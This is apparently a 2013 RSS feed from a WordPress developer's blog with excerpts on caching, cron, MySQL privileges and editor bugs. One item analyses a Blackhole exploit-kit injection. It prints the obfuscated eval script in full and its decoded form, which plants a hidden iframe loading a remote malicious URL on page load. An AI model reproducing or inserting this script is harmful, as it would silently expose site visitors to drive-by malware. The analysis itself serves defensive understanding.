<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DjZoNe</title>
	<atom:link href="http://djzone.im/feed/" rel="self" type="application/rss+xml" />
	<link>http://djzone.im</link>
	<description>Home of a WordPress Magic Man</description>
	<lastBuildDate>Thu, 21 Feb 2013 00:40:34 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>nginx enhanced memcache module and WordPress</title>
		<link>http://djzone.im/2013/02/nginx-enhanced-memcache-module-and-wordpress/</link>
		<comments>http://djzone.im/2013/02/nginx-enhanced-memcache-module-and-wordpress/#comments</comments>
		<pubDate>Mon, 11 Feb 2013 12:15:18 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Article]]></category>
		<category><![CDATA[memcache]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=129</guid>
		<description><![CDATA[For some months I&#8217;m wondering how can I create a memcached base reverse proxy infront of my apache, that supports namespaces, for easy cache purging&#8230; After some days of playing I came up with the solution :) First I thought enhanced memcache module will work just like proxy_cache does&#8230; It was quite a big mistake. [...]]]></description>
		<wfw:commentRss>http://djzone.im/2013/02/nginx-enhanced-memcache-module-and-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to create custom cron interval in WordPress</title>
		<link>http://djzone.im/2013/01/how-to-create-custom-cron-interval-in-wordpress/</link>
		<comments>http://djzone.im/2013/01/how-to-create-custom-cron-interval-in-wordpress/#comments</comments>
		<pubDate>Sun, 20 Jan 2013 14:34:14 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=127</guid>
		<description><![CDATA[As I&#8217;ve explained earlier here I&#8217;m working on an RSS based project, and I&#8217;ve got a request to rethink the feed processing method, and try to speed things up. The first thing that come up, was to run a feed checker process that runs every two minutes. So, how the scheduling works in WordPress? First, [...]]]></description>
		<wfw:commentRss>http://djzone.im/2013/01/how-to-create-custom-cron-interval-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL test database prefix bug</title>
		<link>http://djzone.im/2012/10/mysql-test-database-prefix-bug/</link>
		<comments>http://djzone.im/2012/10/mysql-test-database-prefix-bug/#comments</comments>
		<pubDate>Fri, 05 Oct 2012 09:11:47 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=123</guid>
		<description><![CDATA[Today one of my client&#8217;s warned me, that he can access (and also create, modify, delete) an unknown database, which belongs to my other client. The problem was naming, because it was test_${domain}, and when I looked into privileges tab in phpMyAdmin it shows: User &#124;Host &#124;Type &#124;Privileges Any &#124;% &#124;wildcard: test\_% &#124;SELECT, INSERT, UPDATE, [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/10/mysql-test-database-prefix-bug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TinyMCE Disappeared from WordPress</title>
		<link>http://djzone.im/2012/08/tinymce-disappeared-from-wordpress/</link>
		<comments>http://djzone.im/2012/08/tinymce-disappeared-from-wordpress/#comments</comments>
		<pubDate>Wed, 29 Aug 2012 05:08:04 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Nice to know]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[TinyMCE]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=120</guid>
		<description><![CDATA[Today I ran into a quite intresting and both anoying issue around WordPress and TinyMCE. One of my clients reported, that they can&#8217;t even do a linebreak in WYSIWYG editor in their backend site which was powered by WordPress. So, I had to look for a solution. The only thing I found was to install [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/08/tinymce-disappeared-from-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sun always shines on thumbnails</title>
		<link>http://djzone.im/2012/08/sun-always-shines-on-thumbnails/</link>
		<comments>http://djzone.im/2012/08/sun-always-shines-on-thumbnails/#comments</comments>
		<pubDate>Tue, 14 Aug 2012 20:21:13 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Article]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[post-thumbnail]]></category>
		<category><![CDATA[thumbnail]]></category>
		<category><![CDATA[timthumb]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=118</guid>
		<description><![CDATA[Or almost always. Have you ever experienced after a theme switch, or a core upgrade that things don&#8217;t work the way they did, and your mighty thumbnail system gone? About a week ago I&#8217;ve updated a client&#8217;s website, form a pretty old WordPress to the latest one. And this upgrade was not painless at all. [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/08/sun-always-shines-on-thumbnails/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wget server status code problem</title>
		<link>http://djzone.im/2012/08/wget-server-status-code-problem/</link>
		<comments>http://djzone.im/2012/08/wget-server-status-code-problem/#comments</comments>
		<pubDate>Wed, 01 Aug 2012 11:39:47 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Nice to know]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[status codes]]></category>
		<category><![CDATA[stream context]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=115</guid>
		<description><![CDATA[Today I ran into a problem according to wget and server error codes. Actually I wanted to get the content-body inspite of the server status code. Normally this should not happen, but in real situations we often get pages with status codes different from 200 and 302. For example if you have a php notice [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/08/wget-server-status-code-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A nasty JavaScript decoding</title>
		<link>http://djzone.im/2012/07/a-nasty-javascript-decoding/</link>
		<comments>http://djzone.im/2012/07/a-nasty-javascript-decoding/#comments</comments>
		<pubDate>Thu, 26 Jul 2012 20:19:59 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Nice to know]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=113</guid>
		<description><![CDATA[The BlackHole javascript exploit 123&#60;!--c3284d--&#62;&#60;script&#62;try&#123;1-prototype;&#125;catch&#40;asd&#41;&#123;x=2;&#125; if&#40;x&#41;&#123;fr=&#34;fromChar&#34;;f=&#91;4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1&#93;;v=&#34;eva&#34;;&#125;if&#40;v&#41;e=window&#91;v+&#34;l&#34;&#93;;w=f;s=&#91;&#93;;r=String;z=&#40;&#40;e&#41;?&#34;Code&#34;:&#34;&#34;&#41;;zx=fr+z;for&#40;i=0;286-5+5-i&#62;0;i+=1&#41;&#123;j=i;if&#40;e&#41;s=s+r&#91;zx&#93;&#40;&#40;w&#91;j&#93;*1+&#40;9+e&#40;&#34;j%3&#34;&#41;&#41;&#41;&#41;;&#125; if&#40;x&#38;&#38;f&#38;&#38;012===10&#41;e&#40;s&#41;;&#60;/script&#62;&#60;!--/c3284d--&#62; And this code generates from the above lines 12345678910function frmAdd&#40;&#41; &#123; var ifrm = document.createElement&#40;'iframe'&#41;; ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src &#160;= &#34;http://michaelmazur.net/xml.php&#34;; ifrm.id = 'frmId'; document.body.appendChild&#40;ifrm&#41;; &#125;; window.onload = frmAdd; The PHP code I wrote for decoding that nasty code above 12345678&#60;?php $w=array&#40;4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1&#41;; $s=''; for&#40;$i=0; 286-5+5-$i&#62;0; $i++&#41; &#123; &#160; [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/07/a-nasty-javascript-decoding/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress: a little bottleneck around adjacent posts</title>
		<link>http://djzone.im/2012/07/wordpress-a-little-bottleneck-around-adjacent-posts/</link>
		<comments>http://djzone.im/2012/07/wordpress-a-little-bottleneck-around-adjacent-posts/#comments</comments>
		<pubDate>Tue, 24 Jul 2012 07:01:44 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Bugfix]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=110</guid>
		<description><![CDATA[Today I&#8217;ve searched through MySQL slow query log, and found some intresting log entries, like this: 123456# Time: 120724 12:10:12 # User@Host: user[db] @ localhost [] # Query_time: 1.539405 &#160;Lock_time: 0.000140 Rows_sent: 1 &#160;Rows_examined: 15162 use db; SET timestamp=1343124612; SELECT p.* FROM wp_posts AS p &#160;WHERE p.post_date &#60; '2012-07-06 17:42:00' AND p.post_type = 'post' AND [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/07/wordpress-a-little-bottleneck-around-adjacent-posts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Track function order in applications</title>
		<link>http://djzone.im/2012/07/track-function-order-in-applications/</link>
		<comments>http://djzone.im/2012/07/track-function-order-in-applications/#comments</comments>
		<pubDate>Sun, 15 Jul 2012 19:25:08 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Nice to know]]></category>
		<category><![CDATA[exception]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=112</guid>
		<description><![CDATA[I just copy&#038;paste a piece of raw code, just for myself, to find it easily. So I&#8217;m using this method to track method calling order in applications/frameworks. I add this to my code. 123456789&#160; &#160;function trackCode&#40;$e&#41; &#160; &#160;&#123; &#160; &#160; &#160; &#160;echo &#34;&#60;b&#62;MSG:&#60;/b&#62; &#34; , $e-&#62;getMessage&#40;&#41;; &#160; &#160; &#160; &#160;echo &#34;&#60;pre&#62;&#34;; &#160; &#160; &#160; &#160;print_r&#40; [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/07/track-function-order-in-applications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to extend RSS feed with image</title>
		<link>http://djzone.im/2012/07/how-to-extend-rss-feed-with-image/</link>
		<comments>http://djzone.im/2012/07/how-to-extend-rss-feed-with-image/#comments</comments>
		<pubDate>Tue, 03 Jul 2012 19:09:17 +0000</pubDate>
		<dc:creator>DjZoNe</dc:creator>
				<category><![CDATA[Nice to know]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://djzone.im/?p=107</guid>
		<description><![CDATA[About 2 years ago I&#8217;ve created an autoblog network for the company I work for. At that time I&#8217;ve figured out, that it would be freakin&#8217; nice if we just extend the RSS feed with the first image from the post&#8217;s attachments. Here I&#8217;ll publish a simplified version of my original code, thus there were [...]]]></description>
		<wfw:commentRss>http://djzone.im/2012/07/how-to-extend-rss-feed-with-image/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

 Served from: djzone.im @ 2013-06-19 14:59:46 by W3 Total Cache -->